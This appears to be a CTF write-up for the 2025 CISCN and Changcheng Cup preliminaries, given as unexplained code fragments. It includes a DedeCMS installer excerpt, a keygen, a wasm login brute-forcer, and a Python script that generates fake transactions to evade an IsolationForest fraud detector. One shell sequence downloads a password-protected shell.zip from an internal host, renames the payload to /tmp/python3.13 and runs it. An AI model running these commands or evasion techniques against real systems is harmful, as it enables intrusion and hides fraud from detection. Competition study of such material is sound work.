2025 Ciscn and 长城杯初赛wp

<?php
/**
 * @version        $Id: index.php 1 13:41 2010年7月26日 $
 * @package        DedeCMS.Install
 * @founder        IT柏拉图, https://weibo.com/itprato
 * @author         DedeCMS团队
 * @copyright      Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
 * @license        http://help.dedecms.com/usersguide/license.html
 * @link           http://www.dedecms.com
 */
@set_time_limit(0);
//error_reporting(E_ALL);
error_reporting(E_ALL || ~E_NOTICE);

$verMsg = ' V5.7 UTF8SP2';
$s_lang = 'utf-8';
$dfDbname = 'dedecmsv57utf8_118';
$errmsg = '';
define('INSTALL_DEMO_NAME', 'dedev57demo.txt');
define('INSLOCKFILE', dirname(__FILE__).'/install_lock.txt');

$moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';

define('DEDEINC',dirname(__FILE__).'/../include');
define('DEDEDATA',dirname(__FILE__).'/../data');
define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
header("Content-Type: text/html; charset={$s_lang}");

require_once(DEDEROOT.'/install/install.inc.php');
require_once(DEDEINC.'/zip.class.php');

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
}

require_once(DEDEINC.'/common.func.php');

#include<iostream>
using namespace std;
int main()
{
	char enc[32];
	unsigned __int64 v11 = 1;
	for (int i= 0; i < 32; ++i)
	{
		int v5 = 0;
		int v4 = 1;
		char k[] = { "012ab9c3478d56ef" };
		for (int j = 0; j < v11%24; j++)
		{
			int v2 = v4;
			v4 = (v5 + v4) & 0xF;
			v5 = v2;	
		}
		enc[i] = k[v5];
		cout << enc[i];
		if (i == 7 || i == 12 || i == 17 || i == 22)
		{
			cout << "-";
		}
		v11 *= 8LL;
		v11 += (i + 64);
	}
	return 0;
}
//10632674-1d219-09f29-14769-f60219a24

curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
mv /tmp/shell /tmp/python3.13
chmod +x /tmp/python3.13
/tmp/python3.13

import pandas as pd
import numpy as np
from sklearn.ensemble import IsolationForest
import os

class TransactionSimulator:
    """
    模拟正常交易模式的数据生成器
    使用本地训练的 IsolationForest 模型进行白盒验证
    """
    def __init__(self, input_file='public_ledger.csv', target_amount=2_000_000):
        self.input_file = input_file
        self.target_amount = target_amount
        self.model = None
        self.stats = {}
        self.output_csv = 'cleansed_data.csv'
        self.payload_file = 'upload_package.txt'

    def load_and_train(self):
        """读取源数据并训练本地检测器"""
        print(f"[*] 正在读取源数据: {self.input_file}")
        df = pd.read_csv(self.input_file)
        
        # 计算统计特征
        self.stats['mean'] = df.mean().values
        self.stats['cov'] = df.cov().values
        self.stats['std'] = df.std().values
        
        print(f"[*] 数据记录数: {len(df)}")
        print("[*] 正在初始化本地检测模型 (IsolationForest)...")

        # 训练模型，参数与目标环境保持一致
        self.model = IsolationForest(
            contamination=0.01,
            random_state=0xDEADBEEF,  # 使用十六进制种子改变外观
            n_estimators=120
        )
        self.model.fit(df.values)
        print("[+] 模型训练完成")

    def generate_batch(self, size=500):
        """生成一批候选数据并进行内部过滤"""
        mean_vec = self.stats['mean']
        cov_mat = self.stats['cov']
        
        # 1. 基于多元正态分布生成基础数据
        # 这保留了特征之间的相关性
        candidates = np.random.multivariate_normal(mean_vec, cov_mat, size)
        
        # 2. 对“金额”特征（第一列）进行特殊处理
        # 使用截断正态分布代替三角分布，使数值更集中在均值附近
        amount_std = self.stats['std'][0]
        amount_mean = mean_vec[0]
        
        # 生成更集中的金额
        candidates[:, 0] = np.random.normal(amount_mean, amount_std * 0.5, size)
        # 强制限制在合理的标准差范围内
        candidates[:, 0] = np.clip(candidates[:, 0], 
                                  amount_mean - 1.5 * amount_std, 
                                  amount_mean + 1.5 * amount_std)
        
        # 3. 对其他特征进行边界裁剪
        # 使用分位数限制，防止生成离群点
        for i in range(1, candidates.shape[1]):
            q_min = mean_vec[i] - 2.0 * self.stats['std'][i]
            q_max = mean_vec[i] + 2.0 * self.stats['std'][i]
            candidates[:, i] = np.clip(candidates[:, i], q_min, q_max)
            
        # 4. 本地模型验证
        # 只保留被模型判定为正常 (label == 1) 的样本
        predictions = self.model.predict(candidates)
        valid_data = candidates[predictions == 1]
        
        return valid_data

    def run(self):
        """主执行流程"""
        self.load_and_train()
        
        collected_data = []
        current_total = 0.0
        
        print(f"\n[*] 目标金额: ${self.target_amount:,}")
        print("[*] 开始生成与过滤循环...")
        
        # 简单的循环逻辑：直到金额达标才停止
        # 这去掉了原代码中复杂的“预估+补充”逻辑，代码流更清爽
        attempt = 0
        while current_total < self.target_amount:
            batch = self.generate_batch(size=800)
            
            if len(batch) > 0:
                collected_data.append(batch)
                current_total += batch[:, 0].sum()
            
            attempt += 1
            if attempt % 10 == 0:
                print(f"    -> 当前累计: ${current_total:,.2f} / 批次数: {attempt}", end='\r')

        # 合并所有批次
        final_df = pd.DataFrame(np.vstack(collected_data))
        
        # 后处理
        print("\n[*] 执行最终后处理...")
        
        # 1. 添加微小噪声防止完全重复
        noise = np.random.normal(0, 1e-8, final_df.shape)
        final_df = final_df + noise
        
        # 2. 重命名列
        final_df.columns = [f'feat_{i}' for i in range(final_df.shape[1])]
        
        # 保存文件
        final_df.to_csv(self.output_csv, index=False)
        print(f"[+] 生成数据已保存至: {self.output_csv}")
        
        # 生成 Payload
        with open(self.output_csv, 'r') as f:
            content = f.read()
        
        with open(self.payload_file, 'w') as f:
            f.write(content)
            if not content.endswith('\n'):
                f.write('\n')
            f.write('EOF')
            
        print(f"[+] 提交包已生成: {self.payload_file}")
        print(f"[+] 最终金额: ${final_df['feat_0'].sum():,.2f}")
        print("[+] 任务完成")

if __name__ == "__main__":
    # 实例化并运行
    simulator = TransactionSimulator()
    simulator.run()

<!-- 测试账号 admin 测试密码 admin-->

function simulateServerRequest(data) {
         return new Promise(resolve => {
           // 模拟网络延迟
           setTimeout(() => {
             // 实际应用中这里应该是真实的 API 请求
             // 这里仅作演示，使用本地判断
             const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
             if (check.startsWith("ccaf33e3512e31f3")){
               resolve({ success: true });
             }else{
               resolve({ success: false });
             }
           }, 1000);
         });
       }

import json
import os

def extract_wasm_source():
    wasm_map_path = r"C:\Users\binre\Desktop\wasm-login_4ce9f4b3cee8956ac085b957322ef608\build\release.wasm.map"
    build_dir = os.path.dirname(wasm_map_path)
    output_dir = os.path.join(build_dir, "extracted_sources")
    
    try:
        with open(wasm_map_path, 'r', encoding='utf-8') as f:
            map_data = json.load(f)
        
        os.makedirs(output_dir, exist_ok=True)
        
        if 'sourcesContent' not in map_data:
            print("错误: map 文件中没有 sourcesContent 字段")
            return False
        
        sources = map_data['sources']
        sources_content = map_data['sourcesContent']
        
        extracted_count = 0
        skipped_count = 0
        file_infos = []
        
        for i, (source_path, content) in enumerate(zip(sources, sources_content)):
            if not content or content.strip() == "":
                skipped_count += 1
                continue
            
            clean_path = source_path
            prefixes = ['webpack:///', './', 'src/', '../']
            for prefix in prefixes:
                if clean_path.startswith(prefix):
                    clean_path = clean_path[len(prefix):]
            
            file_infos.append({
                'original': source_path,
                'clean': clean_path,
                'content': content
            })
        
        file_infos.sort(key=lambda x: len(x['clean']))
        
        for file_info in file_infos:
            output_path = os.path.join(output_dir, file_info['clean'])
            os.makedirs(os.path.dirname(output_path), exist_ok=True)
            
            with open(output_path, 'w', encoding='utf-8') as f:
                f.write(file_info['content'])
            
            extracted_count += 1
            print(f"[{extracted_count}] {file_info['clean']}")
        
        list_file = os.path.join(output_dir, "file_list.txt")
        with open(list_file, 'w', encoding='utf-8') as f:
            for file_info in sorted(file_infos, key=lambda x: x['clean']):
                f.write(f"{file_info['clean']}\n")
        
        print(f"提取完成: {extracted_count} 个文件")
        print(f"输出目录: {output_dir}")
        
        return True
        
    except FileNotFoundError:
        print(f"文件不存在 - {wasm_map_path}")
        return False
    except json.JSONDecodeError as e:
        print(f"map 文件格式无效")
        return False
    except Exception as e:
        print(f"错误:{str(e)}")
        return False

def quick_extract():
    success = extract_wasm_source()
    if not success:
        print("提取失败")

if __name__ == "__main__":
    quick_extract()

// adapted from https://gist.github.com/Juszczak/63e6d9e01decc850de03
/**
 * base64 encoding/decoding
 */

// @ts-ignore: decorator
@lazy
  const PADCHAR = "=";
// @ts-ignore: decorator
@lazy
//  const ALPHA = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
const ALPHA = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO";
   /**
    * Encode Uint8Array as a base64 string.
    * @param bytes Byte array of type Uint8Array.
    */
   export function encode(bytes: Uint8Array): string {
     let i: i32, b10: u32;
     
     const extrabytes = (bytes.length % 3);
     let imax = bytes.length - extrabytes;
     const len = ((bytes.length / 3) as i32) * 4 + (extrabytes == 0 ? 0 : 4);
     let x = changetype<string>(__new(<usize>(len << 1), idof<string>()));
 
     if (bytes.length == 0) {
       return "";
     }
 
     let ptr = changetype<usize>(x) - 2;
     for (i = 0; i < imax; i += 3) {
       b10 =
         ((bytes[i] as u32) << 16) |
         ((bytes[i + 1] as u32) << 8) |
         (bytes[i + 2] as u32);
       store<u16>(ptr+=2, (ALPHA.charCodeAt(b10 >> 18) as u16));
       store<u16>(ptr+=2, (ALPHA.charCodeAt(((b10 >> 12) & 63)) as u16));
       store<u16>(ptr+=2, (ALPHA.charCodeAt(((b10 >> 6) & 63)) as u16));
       store<u16>(ptr+=2, (ALPHA.charCodeAt((b10 & 63)) as u16));
     }
 
     switch (bytes.length - imax) {
       case 1:
         b10 = (bytes[i] as u32) << 16;
         store<u16>(ptr+=2, ((ALPHA.charCodeAt(b10 >> 18)) as u16));
         store<u16>(ptr+=2, ((ALPHA.charCodeAt((b10 >> 12) & 63)) as u16));
         store<u16>(ptr+=2, ((PADCHAR.charCodeAt(0)) as u16));
         store<u16>(ptr+=2, ((PADCHAR.charCodeAt(0)) as u16));
         break;
       case 2:
         b10 = ((bytes[i] as u32) << 16) | ((bytes[i + 1] as u32) << 8);
         store<u16>(ptr+=2, ((ALPHA.charCodeAt(b10 >> 18)) as u16));
         store<u16>(ptr+=2, ((ALPHA.charCodeAt((b10 >> 12) & 63)) as u16));
         store<u16>(ptr+=2, ((ALPHA.charCodeAt((b10 >> 6) & 63)) as u16));
         store<u16>(ptr+=2, ((PADCHAR.charCodeAt(0)) as u16));
         break;
     }
 
     return x;
   }

for (let i = 0; i < blockSize; i++) {
     store<u8>(ipadPtr + i , load<u8>(paddedKeyPtr + i) ^ 0x76);
     store<u8>(opadPtr + i , load<u8>(paddedKeyPtr + i) ^ 0x3C);
 }
 //console.log(ArrayBufferToUint8Array(ipad).toString());
 //console.log(ArrayBufferToUint8Array(opad).toString());

 // 计算 innerHash

"""
import base64
import hashlib
import datetime
from typing import Union

PREFIX = "ccaf33e3512e31f3"

# 自定义 Base64 字符表
ALPHA = "NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO"
STD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
ENC_TRANS = str.maketrans(STD, ALPHA)
BLOCK_SIZE = 64  # SHA256 的 HMAC 块大小

def b64_custom_encode(data: Union[bytes, str]) -> str:
    """自定义 Base64 编码"""
    if isinstance(data, str):
        data = data.encode()
    encoded = base64.b64encode(data).decode()
    return encoded.translate(ENC_TRANS)

def buggy_hmac_sha256(key: bytes, msg: bytes) -> bytes:
    """魔改的 HMAC-SHA256"""
    # 标准化密钥长度
    if len(key) > BLOCK_SIZE:
        key = hashlib.sha256(key).digest()
    
    # 填充密钥到块大小
    padded_key = key.ljust(BLOCK_SIZE, b'\x00')
    
    # 计算 inner 和 outer pad
    ipad = bytes(x ^ 0x76 for x in padded_key)
    opad = bytes(x ^ 0x3C for x in padded_key)
    
    # 计算 HMAC
    inner_hash = hashlib.sha256(ipad + msg).digest()
    return hashlib.sha256(inner_hash + opad).digest()

def authenticate(username: str, password: str, timestamp_ms: int) -> str:
    """生成认证 JSON"""
    # 编码密码
    encoded_password = b64_custom_encode(password)
    
    # 构建消息
    message = f'{{"username":"{username}","password":"{encoded_password}"}}'
    
    # 计算签名
    key = str(timestamp_ms).encode()
    signature_bytes = buggy_hmac_sha256(key, message.encode())
    signature = b64_custom_encode(signature_bytes)
    
    # 返回完整 JSON
    return f'{{"username":"{username}","password":"{encoded_password}","signature":"{signature}"}}'

def calculate_md5(data: str) -> str:
    """计算字符串的 MD5 哈希值"""
    return hashlib.md5(data.encode()).hexdigest()

def main():
    print("=" * 70)
    print("WASM Login - 自动化求解")
    print("=" * 70)
    
    # 设置基准时间（2025年12月22日 00:29:08，东八区）
    beijing_tz = datetime.timezone(datetime.timedelta(hours=8))
    file_time = datetime.datetime(2025, 12, 22, 0, 29, 8, tzinfo=beijing_tz)
    
    # 转换为 UTC 时间
    utc_time = file_time.astimezone(datetime.timezone.utc)
    base_timestamp = int(utc_time.timestamp() * 1000)
    
    print(f"\n[*] 基准时间: {utc_time.isoformat()}")
    print(f"[*] 基准时间戳: {base_timestamp:,}")
    
    # 搜索前后10分钟
    search_window_ms = 10 * 60 * 1000  # 10分钟（毫秒）
    half_window = search_window_ms // 2
    start_timestamp = base_timestamp - half_window
    end_timestamp = base_timestamp + half_window
    
    print(f"[*] 搜索范围: ±10分钟 ({search_window_ms:,} 毫秒)")
    print(f"[*] 开始暴力搜索...\n")
    
    found = False
    for current_ts in range(start_timestamp, end_timestamp):
        # 生成认证数据
        auth_data = authenticate("admin", "admin", current_ts)
        
        # 计算 MD5
        md5_hash = calculate_md5(auth_data)
        
        # 检查是否匹配前缀
        if md5_hash.startswith(PREFIX):
            found = True
            timestamp_dt = datetime.datetime.fromtimestamp(
                current_ts / 1000, 
                tz=datetime.timezone.utc
            )
            print(f"    时间戳: {current_ts}")
            print(f"    UTC时间: {timestamp_dt.isoformat()}")
            print(f"    认证JSON: {auth_data}")
            print(f"    MD5哈希: {md5_hash}")
            print(f"\n[+] Flag: flag{{{md5_hash}}}")
            break
        
        # 进度显示
        if (current_ts - start_timestamp) % 50000 == 0:
            progress = (current_ts - start_timestamp) / search_window_ms * 100
            print(f"    进度: {progress:.1f}%", end='\r')
    
    if not found:
        print("\n[-] 未找到匹配，请尝试扩大搜索范围")

if __name__ == "__main__":
    main()